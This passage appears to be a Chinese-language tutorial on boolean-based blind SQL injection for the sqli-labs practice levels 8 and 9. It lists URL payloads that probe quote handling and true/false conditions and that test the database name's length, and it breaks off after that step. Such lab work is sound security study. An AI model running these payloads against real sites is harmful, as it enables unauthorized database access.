boolen盲注与时间盲注，sqli-labs第八关与第九关

一:boolen盲注

1.确认注入的类型

?id=1' 

 ?id=1"      ?id=1

只有在单引号时无显。

?id=1' AND 1=1 --+

由于 1=1 条件恒为真，若页面显示 You are in...........，说明构造的条件使 SQL 查询能匹配到结果。

?id=1' AND 1=2 --+

由于 1=2 条件恒为假，若页面不显示 You are in...........，说明构造的条件使 SQL 查询无匹配结果。

2.数据库名长度

?id=1'and length((select database()))=7--+